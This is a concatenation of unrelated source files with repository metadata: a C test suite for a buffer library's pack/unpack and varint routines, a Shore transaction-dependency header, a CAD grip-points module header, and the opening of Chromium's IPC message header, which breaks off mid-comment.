tests/buffer.c
heisz/toolkit
c10656b44c880dd2c2ccfb9eaeea9edc7dd758f4
[ "MIT" ]
null
null
null
tests/buffer.c
heisz/toolkit
c10656b44c880dd2c2ccfb9eaeea9edc7dd758f4
[ "MIT" ]
null
null
null
tests/buffer.c
heisz/toolkit
c10656b44c880dd2c2ccfb9eaeea9edc7dd758f4
[ "MIT" ]
null
null
null
/* * Test interface for the buffer toolkit elements. * * Copyright (C) 1999-2020 J.M. Heisz. All Rights Reserved. * See the LICENSE file accompanying the distribution your rights to use * this software. */ #include "buffer.h" /* Forward declarations */ static void testBasics(); static void testPack(); static void testUnpack(); /** * Main testing entry point. Just a bunch of manipulations of the dynamic * buffer toolset. */ int main(int argc, char **argv) { /* At some point, put the MTraq testcase identifiers in here */ testBasics(); testPack(); testUnpack(); (void) fprintf(stderr, "All tests complete\n"); return 0; } /* Basic test elements for the buffer (most of what it does) */ static void testBasics() { uint8_t localBuffer[64], dupBuffer[64]; WXBuffer buffer, dup; char *bigValue = "Lorem ipsum dolor sit amet, consectetur adipiscing elit, " "sed do eiusmod tempor incididunt ut labore et dolore " "magna aliqua. Ut enim ad minim veniam, quis nostrud " "exercitation ullamco laboris nisi ut aliquip ex ea " "commodo consequat. Duis aute irure dolor in " "reprehenderit in voluptate velit esse cillum dolore eu " "fugiat nulla pariatur. Excepteur sint occaecat cupidatat " "non proident, sunt in culpa qui officia deserunt mollit " "anim id est laborum."; /* Local->allocated sequences */ WXBuffer_InitLocal(&buffer, localBuffer, sizeof(localBuffer)); WXBuffer_Destroy(&buffer); WXBuffer_InitLocal(&buffer, localBuffer, sizeof(localBuffer)); if (WXBuffer_Append(&buffer, (uint8_t *) bigValue, strlen(bigValue), FALSE) == NULL) { (void) fprintf(stderr, "Unexpected memory error on big append\n"); exit(1); } if (WXBuffer_Append(&buffer, (uint8_t *) bigValue, strlen(bigValue), FALSE) == NULL) { (void) fprintf(stderr, "Unexpected memory error on 2nd big append\n"); exit(1); } if (buffer.length != 2 * strlen(bigValue)) { (void) fprintf(stderr, "Incorrect length for expanded allocation\n"); exit(1); } if (memcmp(buffer.buffer, bigValue, strlen(bigValue)) != 0) { (void) fprintf(stderr, "Incorrect initial append value\n"); exit(1); } if (memcmp(buffer.buffer + strlen(bigValue), bigValue, strlen(bigValue)) != 0) { (void) fprintf(stderr, "Incorrect second append value\n"); exit(1); } WXBuffer_InitLocal(&dup, dupBuffer, sizeof(dupBuffer)); if (WXBuffer_Duplicate(&dup, &buffer) == NULL) { (void) fprintf(stderr, "Duplicate failure\n"); exit(1); } if (dup.length != 2 * strlen(bigValue)) { (void) fprintf(stderr, "Incorrect length for duplicate\n"); exit(1); } if ((memcmp(dup.buffer, bigValue, strlen(bigValue)) != 0) || (memcmp(dup.buffer + strlen(bigValue), bigValue, strlen(bigValue)) != 0)) { (void) fprintf(stderr, "Incorrect content for duplicate\n"); exit(1); } if (WXBuffer_Insert(&dup, bigValue, 123, TRUE) == NULL) { (void) fprintf(stderr, "Insert failure\n"); exit(1); } if (dup.length != 2 * strlen(bigValue) + 123) { (void) fprintf(stderr, "Incorrect length for insert\n"); exit(1); } if ((memcmp(dup.buffer, bigValue, 123) != 0) || (memcmp(dup.buffer + 123, bigValue, strlen(bigValue)) != 0) || (memcmp(dup.buffer + 123 + strlen(bigValue), bigValue, strlen(bigValue)) != 0)) { (void) fprintf(stderr, "Incorrect content for insert\n"); exit(1); } WXBuffer_Destroy(&dup); WXBuffer_Empty(&buffer); if (WXBuffer_Printf(&buffer, "Test '%s' %d", "test", 12) == NULL) { (void) fprintf(stderr, "Failed to print to buffer\n"); exit(1); } if ((buffer.length != 14) || (strncmp(buffer.buffer, "Test 'test' 12", 14) != 0)) { (void) fprintf(stderr, "Incorrect result for print\n"); exit(1); } WXBuffer_Destroy(&buffer); } #define BCHK(bffr, compare, case) \ if ((bffr).length != sizeof(compare)){ \ (void) fprintf(stderr, \ "ERROR: Size diff for " case " %li vs %li\n", \ (bffr).length, sizeof(compare)); \ exit(1); \ } \ if (memcmp((bffr).buffer, compare, sizeof(compare)) != 0) { \ (void) fprintf(stderr, \ "ERROR: Compare failure for " case "\n"); \ exit(1); \ } #define BPCK(bffr, content) \ WXBuffer_Empty(&buffer); \ if (WXBuffer_Append(&buffer, content, sizeof(content), FALSE) == NULL) { \ (void) fprintf(stderr, "Unexpected memory error on buffer setup\n"); \ } static void dump(WXBuffer *buffer) { uint32_t idx; for (idx = 0; idx < buffer->length; idx++) { if (idx != 0) { (void) fprintf(stderr, (((idx % 8) == 0) ? ",\n" : ", ")); } (void) fprintf(stderr, "0x%02X", *(buffer->buffer + idx)); } (void) fprintf(stderr, "\n"); } /* This is a bit more complicated, there's a lot of pack options... */ static void testPack() { uint8_t localBuffer[64]; uint16_t endTstVal = 0x1234; WXBuffer buffer; WXBuffer_InitLocal(&buffer, localBuffer, sizeof(localBuffer)); /* Standard text encodings */ WXBuffer_Empty(&buffer); dump(&buffer); WXBuffer_Pack(&buffer, "aa4", "abc", "defghi"); BCHK(buffer, ((uint8_t[]) { 0x61, 0x64, 0x65, 0x66, 0x67 }), "truncated text packing"); WXBuffer_Pack(&buffer, "a4a", "abc", "defghi"); BCHK(buffer, ((uint8_t[]) { 0x61, 0x64, 0x65, 0x66, 0x67, 0x61, 0x62, 0x63, 0x00, 0x64 }), "null padded text packing"); WXBuffer_Empty(&buffer); WXBuffer_Pack(&buffer, "A%A", 5, "abc", "defghi"); BCHK(buffer, ((uint8_t[]) { 0x61, 0x62, 0x63, 0x20, 0x20, 0x64 }), "null padded text packing"); /* Characters are really simple */ WXBuffer_Empty(&buffer); WXBuffer_Pack(&buffer, "c2C2", 12, -12, 100, -100); BCHK(buffer, ((uint8_t[]) { 0x0c, 0xf4, 0x64, 0x9c }), "character packing"); /* Short items are the start of the ordering elements */ WXBuffer_Empty(&buffer); WXBuffer_Pack(&buffer, "sSs<S>nv", 0x1234, 0x5678, 0x4321, 0x8765, 0x1357, 0x8642); if (*((uint8_t *) &endTstVal) == 0x34) { BCHK(buffer, ((uint8_t[]) { 0x34, 0x12, 0x78, 0x56, 0x21, 0x43, 0x87, 0x65, 0x13, 0x57, 0x42, 0x86 }), "short value packing"); } else { BCHK(buffer, ((uint8_t[]) { 0x12, 0x34, 0x56, 0x78, 0x21, 0x43, 0x87, 0x65, 0x13, 0x57, 0x42, 0x86 }), "short value packing"); } WXBuffer_Empty(&buffer); WXBuffer_Pack(&buffer, "s<S>", -12, -22222); BCHK(buffer, ((uint8_t[]) { 0xf4, 0xff, 0xa9, 0x32 }), "negative short packing"); /* Long is just longer, more bits to test against */ WXBuffer_Empty(&buffer); WXBuffer_Pack(&buffer, "lLl<L>NV", 0x01234567, 0x89abcdef, 0x76543210, 0xfedcba98, 0x13579bdf, 0xeca86420); if (*((uint8_t *) &endTstVal) == 0x34) { BCHK(buffer, ((uint8_t[]) { 0x67, 0x45, 0x23, 0x01, 0xef, 0xcd, 0xab, 0x89, 0x10, 0x32, 0x54, 0x76, 0xfe, 0xdc, 0xba, 0x98, 0x13, 0x57, 0x9b, 0xdf, 0x20, 0x64, 0xa8, 0xec }), "long value packing"); } else { BCHK(buffer, ((uint8_t[]) { 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef, 0x10, 0x32, 0x54, 0x76, 0xfe, 0xdc, 0xba, 0x98, 0x13, 0x57, 0x9b, 0xdf, 0x20, 0x64, 0xa8, 0xec }), "long value packing"); } WXBuffer_Empty(&buffer); WXBuffer_Pack(&buffer, "l<L>", -22222, -222222222); BCHK(buffer, ((uint8_t[]) { 0x32, 0xa9, 0xff, 0xff, 0xf2, 0xc1, 0x28, 0x72 }), "negative long packing"); /* Long long is just getting to be a pain... */ WXBuffer_Empty(&buffer); WXBuffer_Pack(&buffer, "qQq<Q>zZ", (uint64_t) 0x0123456789abcdef, (uint64_t) 0xfedcba9876543210, (uint64_t) 0x0123456789abcdef, (uint64_t) 0xfedcba9876543210, (uint64_t) 0x0123456789abcdef, (uint64_t) 0xfedcba9876543210); if (*((uint8_t *) &endTstVal) == 0x34) { BCHK(buffer, ((uint8_t[]) { 0xef, 0xcd, 0xab, 0x89, 0x67, 0x45, 0x23, 0x01, 0x10, 0x32, 0x54, 0x76, 0x98, 0xba, 0xdc, 0xfe, 0xef, 0xcd, 0xab, 0x89, 0x67, 0x45, 0x23, 0x01, 0xfe, 0xdc, 0xba, 0x98, 0x76, 0x54, 0x32, 0x10, 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef, 0x10, 0x32, 0x54, 0x76, 0x98, 0xba, 0xdc, 0xfe }), "long long value packing"); } else { BCHK(buffer, ((uint8_t[]) { 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef, 0xfe, 0xdc, 0xba, 0x98, 0x76, 0x54, 0x32, 0x10, 0xef, 0xcd, 0xab, 0x89, 0x67, 0x45, 0x23, 0x01, 0xfe, 0xdc, 0xba, 0x98, 0x76, 0x54, 0x32, 0x10, 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef, 0x10, 0x32, 0x54, 0x76, 0x98, 0xba, 0xdc, 0xfe }), "long long value packing"); } WXBuffer_Empty(&buffer); WXBuffer_Pack(&buffer, "q<Q>", -2222222222, -2222222222222222222L); BCHK(buffer, ((uint8_t[]) { 0x72, 0x94, 0x8b, 0x7b, 0xff, 0xff, 0xff, 0xff, 0xe1, 0x29, 0x14, 0xa9, 0xa8, 0x77, 0x1c, 0x72 }), "negative long long packing"); /* Byte positioning (x and X) */ WXBuffer_Empty(&buffer); WXBuffer_Pack(&buffer, "x[5]x3x"); BCHK(buffer, ((uint8_t[]) { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }), "empty (x) packing"); WXBuffer_Pack(&buffer, "XX4"); BCHK(buffer, ((uint8_t[]) { 0x0, 0x0, 0x0, 0x0 }), "rollback (X) packing"); WXBuffer_Pack(&buffer, "X[24]"); BCHK(buffer, ((uint8_t[]) { }), "rollback (X) overflow"); /* Easiest case to test variant lengths */ WXBuffer_Pack(&buffer, "x[%]x%x", 3, 2); BCHK(buffer, ((uint8_t[]) { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }), "variant empty (x) packing"); /* Bits and hex left to end as not entirely common */ WXBuffer_Empty(&buffer); WXBuffer_Pack(&buffer, "b6", "010111"); BCHK(buffer, ((uint8_t[]) { 0x3a }), "base ascending bit packing"); WXBuffer_Pack(&buffer, "B6", "010111"); BCHK(buffer, ((uint8_t[]) { 0x3a, 0x5c }), "base ascending/descending bit packing"); WXBuffer_Empty(&buffer); WXBuffer_Pack(&buffer, "b*B*", "0101110110010100111", "0101110110010100111"); BCHK(buffer, ((uint8_t[]) { 0xba, 0x29, 0x07, 0x5d, 0x94, 0xe0 }), "multi-byte ascending/descending bit packing"); WXBuffer_Empty(&buffer); WXBuffer_Pack(&buffer, "h3", "5ae95c"); BCHK(buffer, ((uint8_t[]) { 0xa5, 0x0e }), "truncated low-nybble hex packing"); WXBuffer_Pack(&buffer, "H7", "5ae95c"); BCHK(buffer, ((uint8_t[]) { 0xa5, 0x0e, 0x5a, 0xe9, 0x5c, 0x00 }), "extended high-nybble hex packing"); WXBuffer_Empty(&buffer); WXBuffer_Pack(&buffer, "h*H*", "3ae46", "f294d3"); BCHK(buffer, ((uint8_t[]) { 0xa3, 0x4e, 0x06, 0xf2, 0x94, 0xd3 }), "multi-byte mixed hex packing"); /* Well, groups actually are last... */ WXBuffer_Empty(&buffer); WXBuffer_Pack(&buffer, "(ss)<(s)>2n2", 0x1234, 0x5678, 0x4321, 0x8765, 0x1357, 0x8642); BCHK(buffer, ((uint8_t[]) { 0x34, 0x12, 0x78, 0x56, 0x43, 0x21, 0x87, 0x65, 0x13, 0x57, 0x86, 0x42 }), "group packing"); /* Until we add other stuff */ WXBuffer_Empty(&buffer); WXBuffer_Pack(&buffer, "yYyY", 300, (uint64_t) 0, 12, 1234567); BCHK(buffer, ((uint8_t[]) { 0xAC, 0x02, 0x00, 0x0C, 0x87, 0xAD, 0x4B }), "varint packing"); } /* Ditto... */ static void testUnpack() { uint8_t localBuffer[64]; WXBuffer buffer; uint16_t endTstVal = 0x1234; char *sptr, *sptrb, *sptrc; uint8_t cha, chb, chc, chd; uint16_t sha, shb, shc, shd, she, shf; int16_t ssha, sshb; uint32_t lda, ldb, ldc, ldd, lde, ldf; int32_t slda, sldb; uint64_t llda, lldb, lldc, lldd, llde, lldf; int64_t sllda, slldb; WXBuffer_InitLocal(&buffer, localBuffer, sizeof(localBuffer)); /* Character is just plain copy extraction */ BPCK(buffer, ((uint8_t[]) { 0x3a, 0x3b, 0x3c, 0x3d })); if ((WXBuffer_Unpack(&buffer, "a10", &sptr) == NULL) || (strcmp(sptr, ":;<=") != 0)) { (void) fprintf(stderr, "ERROR: invalid extended char unpack\n"); exit(1); } WXFree(sptr); buffer.offset = 0; if ((WXBuffer_Unpack(&buffer, "A3", &sptr) == NULL) || (strcmp(sptr, ":;<") != 0)) { (void) fprintf(stderr, "ERROR: invalid bounded char unpack\n"); exit(1); } WXFree(sptr); /* Bit sequences have lots of fractional elements */ BPCK(buffer, ((uint8_t[]) { 0x3a, 0x3b, 0x3c, 0x3d, 0x00, 0x3a, 0x3b })); if ((WXBuffer_Unpack(&buffer, "b123", &sptr) == NULL) || (strcmp(sptr, "010111001101110000111100101111000000000" "00101110011011100") != 0)) { (void) fprintf(stderr, "ERROR: invalid extended bit unpack\n"); exit(1); } WXFree(sptr); buffer.offset = 0; if ((WXBuffer_Unpack(&buffer, "b11B*b", &sptr, &sptrb, &sptrc) == NULL) || (strcmp(sptr, "01011100110") != 0) || (strcmp(sptrb, "0011110000111101000000000011101000111011") != 0) || (strcmp(sptrc, "") != 0)) { (void) fprintf(stderr, "ERROR: invalid combined bit unpack\n"); exit(1); } WXFree(sptr); WXFree(sptrb); WXFree(sptrc); /* Hex not so much */ buffer.offset = 0; if ((WXBuffer_Unpack(&buffer, "h123", &sptr) == NULL) || (strcmp(sptr, "A3B3C3D300A3B3") != 0)) { (void) fprintf(stderr, "ERROR: invalid extended hex unpack\n"); exit(1); } WXFree(sptr); buffer.offset = 0; if ((WXBuffer_Unpack(&buffer, "h3H*h", &sptr, &sptrb, &sptrc) == NULL) || (strcmp(sptr, "A3B") != 0) || (strcmp(sptrb, "3C3D003A3B") != 0) || (strcmp(sptrc, "") != 0)) { (void) fprintf(stderr, "ERROR: invalid combined hex unpack\n"); exit(1); } WXFree(sptr); WXFree(sptrb); WXFree(sptrc); /* Character pretty straightforward */ buffer.offset = 0; buffer.length = 3; cha = chb = chc = chd = 12; if ((WXBuffer_Unpack(&buffer, "cC2c4", &cha, &chb, &chc, &chd) == NULL) || (cha != 58) || (chb != 59) || (chc != 60) || (chd != 12)) { (void) fprintf(stderr, "ERROR: invalid char unpack\n"); exit(1); } /* Byte re-positioning (x and X) */ BPCK(buffer, ((uint8_t[]) { 0x0, 0x0, 0x0, 0x0 })); if (WXBuffer_Unpack(&buffer, "x22") != NULL) { (void) fprintf(stderr, "Unexpected success on consumption\n"); exit(1); } if ((WXBuffer_Unpack(&buffer, "x2") == NULL) || (buffer.offset != 2)) { (void) fprintf(stderr, "Unexpected success on unpack consumption\n"); exit(1); } if ((WXBuffer_Unpack(&buffer, "X4") == NULL) || (buffer.offset != 0)) { (void) fprintf(stderr, "Unexpected success on unpack windback\n"); exit(1); } /* Here come the numbers (reverse of the pack conditions) */ /* Short items are the start of the ordering elements */ if (*((uint8_t *) &endTstVal) == 0x34) { BPCK(buffer, ((uint8_t[]) { 0x34, 0x12, 0x78, 0x56, 0x21, 0x43, 0x87, 0x65, 0x13, 0x57, 0x42, 0x86 })); } else { BPCK(buffer, ((uint8_t[]) { 0x12, 0x34, 0x56, 0x78, 0x21, 0x43, 0x87, 0x65, 0x13, 0x57, 0x42, 0x86 })); } if ((WXBuffer_Unpack(&buffer, "sSs<S>nvs22", &sha, &shb, &shc, &shd, &she, &shf) == NULL) || (sha != 0x1234) || (shb != 0x5678) || (shc != 0x4321) || (shd != 0x8765) || (she != 0x1357) || (shf != 0x8642)) { (void) fprintf(stderr, "ERROR: invalid combined short unpack\n"); exit(1); } BPCK(buffer, ((uint8_t[]) { 0xf4, 0xff, 0xa9, 0x32 })); if ((WXBuffer_Unpack(&buffer, "s<S>",&ssha, &sshb) == NULL) || (ssha != -12) || (sshb != -22222)) { (void) fprintf(stderr, "ERROR: invalid signed short unpack\n"); exit(1); } /* Long is just longer, more bits to test against */ if (*((uint8_t *) &endTstVal) == 0x34) { BPCK(buffer, ((uint8_t[]) { 0x67, 0x45, 0x23, 0x01, 0xef, 0xcd, 0xab, 0x89, 0x10, 0x32, 0x54, 0x76, 0xfe, 0xdc, 0xba, 0x98, 0x13, 0x57, 0x9b, 0xdf, 0x20, 0x64, 0xa8, 0xec })); } else { BPCK(buffer, ((uint8_t[]) { 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef, 0x10, 0x32, 0x54, 0x76, 0xfe, 0xdc, 0xba, 0x98, 0x13, 0x57, 0x9b, 0xdf, 0x20, 0x64, 0xa8, 0xec })); } if ((WXBuffer_Unpack(&buffer, "lLl<L>NV", &lda, &ldb, &ldc, &ldd, &lde, &ldf) == NULL) || (lda != 0x01234567) || (ldb != 0x89abcdef) || (ldc != 0x76543210) || (ldd != 0xfedcba98) || (lde != 0x13579bdf) || (ldf != 0xeca86420)) { (void) fprintf(stderr, "ERROR: invalid combined long unpack\n"); exit(1); } BPCK(buffer, ((uint8_t[]) { 0x32, 0xa9, 0xff, 0xff, 0xf2, 0xc1, 0x28, 0x72 })); if ((WXBuffer_Unpack(&buffer, "l<L>*", &slda, &sldb) == NULL) || (slda != -22222) || (sldb != -222222222)) { (void) fprintf(stderr, "ERROR: invalid signed long unpack\n"); exit(1); } /* Long long is just getting to be a pain... */ if (*((uint8_t *) &endTstVal) == 0x34) { BPCK(buffer, ((uint8_t[]) { 0xef, 0xcd, 0xab, 0x89, 0x67, 0x45, 0x23, 0x01, 0x10, 0x32, 0x54, 0x76, 0x98, 0xba, 0xdc, 0xfe, 0xef, 0xcd, 0xab, 0x89, 0x67, 0x45, 0x23, 0x01, 0xfe, 0xdc, 0xba, 0x98, 0x76, 0x54, 0x32, 0x10, 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef, 0x10, 0x32, 0x54, 0x76, 0x98, 0xba, 0xdc, 0xfe })); } else { BPCK(buffer, ((uint8_t[]) { 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef, 0xfe, 0xdc, 0xba, 0x98, 0x76, 0x54, 0x32, 0x10, 0xef, 0xcd, 0xab, 0x89, 0x67, 0x45, 0x23, 0x01, 0xfe, 0xdc, 0xba, 0x98, 0x76, 0x54, 0x32, 0x10, 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef, 0x10, 0x32, 0x54, 0x76, 0x98, 0xba, 0xdc, 0xfe })); } if ((WXBuffer_Unpack(&buffer, "qQq<Q>zZ", &llda, &lldb, &lldc, &lldd, &llde, &lldf) == NULL) || (llda != (uint64_t) 0x0123456789abcdef) || (lldb != (uint64_t) 0xfedcba9876543210) || (lldc != (uint64_t) 0x0123456789abcdef) || (lldd != (uint64_t) 0xfedcba9876543210) || (llde != (uint64_t) 0x0123456789abcdef) || (lldf != (uint64_t) 0xfedcba9876543210)) { (void) fprintf(stderr, "ERROR: invalid combined long long unpack\n"); exit(1); } BPCK(buffer, ((uint8_t[]) { 0x72, 0x94, 0x8b, 0x7b, 0xff, 0xff, 0xff, 0xff, 0xe1, 0x29, 0x14, 0xa9, 0xa8, 0x77, 0x1c, 0x72 })); if ((WXBuffer_Unpack(&buffer, "q<Q>", &sllda, &slldb) == NULL) || (sllda != -2222222222) || (slldb != -2222222222222222222L)) { (void) fprintf(stderr, "ERROR: invalid signed long long unpack\n"); exit(1); } BPCK(buffer, ((uint8_t[]) { 0x34, 0x12, 0x78, 0x56, 0x43, 0x21, 0x87, 0x65, 0x13, 0x57, 0x86, 0x42 })); if ((WXBuffer_Unpack(&buffer, "(ss)<(s)>2n2", &sha, &shb, &shc, &shd, &she, &shf) == NULL) || (sha != 0x1234) || (shb != 0x5678) || (shc != 0x4321) || (shd != 0x8765) || (she != 0x1357) || (shf != 0x8642)) { (void) fprintf(stderr, "ERROR: invalid group unpack\n"); exit(1); } /* Until we add other stuff */ BPCK(buffer, ((uint8_t[]) { 0xAC, 0x02, 0x02, 0x0C, 0x87, 0xAD, 0x4B })); if ((WXBuffer_Unpack(&buffer, "yYy*", &lda, &lldb, &ldc, &ldd) == NULL) || (lda != 300) || (lldb != 2) || (ldc != 12) || (ldd != 1234567)) { (void) fprintf(stderr, "ERROR: invalid varint unpack\n"); exit(1); } }
41.24053
80
0.522296
d8ba660906853af0e98461699e9af9de03a7bb34
875
h
C
old/old_old_versions_for_vas/do_not_try_to_compile/from_24oct1997/just_read_it_for_instruction_on_vas/shore-1.1.1/src/sm/xct_dependent.h
glycerine/shore-mt
39f1802ba9588bc9d32d34386ed0193477f7e8d1
[ "Spencer-94", "Spencer-86", "Xnet", "Linux-OpenIB", "Spencer-99", "X11", "CECILL-B" ]
3
2016-07-15T08:22:56.000Z
2019-10-10T02:26:08.000Z
old/old_old_versions_for_vas/do_not_try_to_compile/from_24oct1997/just_read_it_for_instruction_on_vas/shore-1.1.1/src/sm/xct_dependent.h
glycerine/shore-mt
39f1802ba9588bc9d32d34386ed0193477f7e8d1
[ "Spencer-94", "Spencer-86", "Xnet", "Linux-OpenIB", "Spencer-99", "X11", "CECILL-B" ]
null
null
null
old/old_old_versions_for_vas/do_not_try_to_compile/from_24oct1997/just_read_it_for_instruction_on_vas/shore-1.1.1/src/sm/xct_dependent.h
glycerine/shore-mt
39f1802ba9588bc9d32d34386ed0193477f7e8d1
[ "Spencer-94", "Spencer-86", "Xnet", "Linux-OpenIB", "Spencer-99", "X11", "CECILL-B" ]
2
2020-12-23T06:49:23.000Z
2021-03-05T07:00:28.000Z
/* --------------------------------------------------------------- */ /* -- Copyright (c) 1994, 1995 Computer Sciences Department, -- */ /* -- University of Wisconsin-Madison, subject to the terms -- */ /* -- and conditions given in the file COPYRIGHT. All Rights -- */ /* -- Reserved. -- */ /* --------------------------------------------------------------- */ /* * $Id: xct_dependent.h,v 1.1 1997/05/19 20:21:45 nhall Exp $ */ #ifndef XCT_DEPENDENT_H #define XCT_DEPENDENT_H class xct_dependent_t { public: virtual NORET ~xct_dependent_t(); virtual void xct_state_changed( smlevel_1::xct_state_t old_state, smlevel_1::xct_state_t new_state) = 0; protected: NORET xct_dependent_t(xct_t* xd); private: friend class xct_impl; w_link_t _link; }; #endif /*XCT_DEPENDENT_H*/
28.225806
69
0.525714
1a845a47d48b683ed5d4ba493243ed620ac3f62c
4,165
h
C
GripPoints/OdGripPointsModule.h
terry-texas-us/Eo
5652b68468c0bacd8e8da732befa2374360a4bbd
[ "MIT" ]
1
2020-09-07T07:06:19.000Z
2020-09-07T07:06:19.000Z
GripPoints/OdGripPointsModule.h
terry-texas-us/Eo
5652b68468c0bacd8e8da732befa2374360a4bbd
[ "MIT" ]
null
null
null
GripPoints/OdGripPointsModule.h
terry-texas-us/Eo
5652b68468c0bacd8e8da732befa2374360a4bbd
[ "MIT" ]
2
2019-10-24T00:36:58.000Z
2020-09-30T16:45:56.000Z
#pragma once #include "RxModule.h" #include "StaticRxObject.h" #include "Db2LineAngularDimGripPoints.h" #include "Db3PointAngularDimGripPoints.h" #include "DbAlignedDimGripPoints.h" #include "DbArcGripPoints.h" #include "DbArcDimGripPoints.h" #include "DbDiametricDimGripPoints.h" #include "DbLineGripPoints.h" #include "DbPolylineGripPoints.h" #include "DbEntityGripPoints.h" #include "DbMlineGripPoints.h" #include "DbBlockReferenceGripPoints.h" #include "DbMleaderGripPoints.h" #include "DbOrdinateDimGripPoints.h" #include "DbPolygonMeshGripPoints.h" #include "DbPdfUnderlayGripPoints.h" #include "DbRadialDimGripPoints.h" #include "DbRadialDimLargeGripPoints.h" #include "DbRotatedDimGripPoints.h" #include "DbViewportGripPoints.h" #include "Db2dPolylineGripPoints.h" #include "DbRasterImageGripPoints.h" #include "DbSolidGripPoints.h" #include "DbTraceGripPoints.h" #include "Db3dPolylineGripPoints.h" #include "DbCameraGripPoints.h" #include "DbCircleGripPoints.h" #include "DbEllipseGripPoints.h" #include "DbTextGripPoints.h" #include "DbGeoPositionMarkerGripPoints.h" #include "DbDgnUnderlayGripPoints.h" #include "DbOleGripPoints.h" #include "DbWipeOutGripPoints.h" #include "DbFaceGripPoints.h" /** * \brief Declaration of the OdGeGripPointsPE interface. Drawings SDK attempts to use this interface for grip points operations; OdDbEntity::getGripPoints, etc. */ class OdGripPointsModule : public OdRxModule { OdStaticRxObject<OdDbLineGripPointsPE> m_LineGripPoints; OdStaticRxObject<OdDbMlineGripPointsPE> m_MlineGripPoints; OdStaticRxObject<OdDbMleaderGripPointsPE> m_MleaderGripPoints; OdStaticRxObject<OdDbPolygonMeshGripPointsPE> m_PolygonMeshGripPoints; OdStaticRxObject<OdDbArcGripPointsPE> m_ArcGripPoints; OdStaticRxObject<OdDbPolylineGripPointsPE> m_PolylineGripPoints; OdStaticRxObject<OdDbEntityGripPointsPE> m_EntityGripPoints; OdStaticRxObject<OdDbRotatedDimGripPointsPE> m_RotatedDimGripPoints; OdStaticRxObject<OdDbAlignedDimGripPointsPE> m_AlignedDimGripPoints; OdStaticRxObject<OdDbRadialDimGripPointsPE> m_RadialDimGripPoints; OdStaticRxObject<OdDbDiametricDimGripPointsPE> m_DiametricDimGripPoints; OdStaticRxObject<OdDb3PointAngularDimGripPointsPE> m_3PointAngularDimGripPoints; OdStaticRxObject<OdDbOrdinateDimGripPointsPE> m_OrdinateDimGripPoints; OdStaticRxObject<OdDb2LineAngularDimGripPointsPE> m_2LineAngularDimGripPoints; OdStaticRxObject<OdDbArcDimGripPointsPE> m_ArcDimGripPoints; OdStaticRxObject<OdDbRadialDimLargeGripPointsPE> m_RadialDimLargeGripPoints; OdStaticRxObject<OdDbBlockReferenceGripPointsPE> m_BlockReferenceGripPoints; OdStaticRxObject<OdDbPdfUnderlayGripPointsPE> m_PdfUnderlayGripPoints; OdStaticRxObject<OdDbViewportGripPointsPE> m_ViewportGripPoints; OdStaticRxObject<OdDb2dPolylineGripPointsPE> m_2dPolylineGripPoints; OdStaticRxObject<OdDbRasterImageGripPointsPE> m_RasterImageGripPoints; OdStaticRxObject<OdDbTraceGripPointsPE> m_TraceGripPoints; OdStaticRxObject<OdDbSolidGripPointsPE> m_SolidGripPoints; OdStaticRxObject<OdDb3dPolylineGripPointsPE> m_3dPolylineGripPoints; OdStaticRxObject<OdDbCameraGripPointsPE> m_CameraGripPoints; OdStaticRxObject<OdDbCircleGripPointsPE> m_CircleGripPoints; OdStaticRxObject<OdDbEllipseGripPointsPE> m_EllipseGripPoints; OdStaticRxObject<OdDbTextGripPointsPE> m_TextGripPoints; OdStaticRxObject<OdDbGeoPositionMarkerPE> m_GeoPositionMarkerGripPoints; OdStaticRxObject<OdDbDgnUnderlayGripPointsPE> m_DgnUnderlayGripPoints; OdStaticRxObject<OdDbOleGripPointsPE> m_OleGripPoints; OdStaticRxObject<OdDbWipeOutGripPointsPE> m_WipeOutGripPoints; OdStaticRxObject<OdDbFaceGripPointsPE> m_FaceGripPoints; protected: OdGripPointsModule(); void initApp() override; void uninitApp() override; public: ~OdGripPointsModule(); }; /** * \brief For 2D object projects given offset vector on object's plane defined by normal in current view direction. * \param database * \param normal * \param offset * \return true on success. If current view direction is perpendicular to normal returns false and does not modify offset */ bool ProjectOffset(const OdDbDatabase* database, const OdGeVector3d& normal, OdGeVector3d& offset);
44.308511
160
0.859064
2c85e42ab75877f1a558624a967ce24ee36d96b3
8,654
h
C
ipc/ipc_message.h
Scopetta197/chromium
b7bf8e39baadfd9089de2ebdc0c5d982de4a9820
[ "BSD-3-Clause" ]
212
2015-01-31T11:55:58.000Z
2022-02-22T06:35:11.000Z
ipc/ipc_message.h
1065672644894730302/Chromium
239dd49e906be4909e293d8991e998c9816eaa35
[ "BSD-3-Clause" ]
5
2015-03-27T14:29:23.000Z
2019-09-25T13:23:12.000Z
ipc/ipc_message.h
1065672644894730302/Chromium
239dd49e906be4909e293d8991e998c9816eaa35
[ "BSD-3-Clause" ]
221
2015-01-07T06:21:24.000Z
2022-02-11T02:51:12.000Z
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef IPC_IPC_MESSAGE_H_ #define IPC_IPC_MESSAGE_H_ #pragma once #include <string> #include "base/basictypes.h" #include "base/pickle.h" #include "ipc/ipc_export.h" // Ipc logging adds a dependency from the 'chrome' target on all ipc message // classes. In a component build, this would require exporting all message // classes, so don't support ipc logging in the components build. #if !defined(NDEBUG) && !defined(COMPONENT_BUILD) #define IPC_MESSAGE_LOG_ENABLED #endif #if defined(OS_POSIX) #include "base/memory/ref_counted.h" #endif namespace base { struct FileDescriptor; } class FileDescriptorSet; namespace IPC { //------------------------------------------------------------------------------ class Channel; class Message; struct LogData; class IPC_EXPORT Message : public Pickle { public: // Implemented by objects that can send IPC messages across a channel. class IPC_EXPORT Sender { public: virtual ~Sender() {} // Sends the given IPC message. The implementor takes ownership of the // given Message regardless of whether or not this method succeeds. This // is done to make this method easier to use. Returns true on success and // false otherwise. virtual bool Send(Message* msg) = 0; }; enum PriorityValue { PRIORITY_LOW = 1, PRIORITY_NORMAL, PRIORITY_HIGH }; // Bit values used in 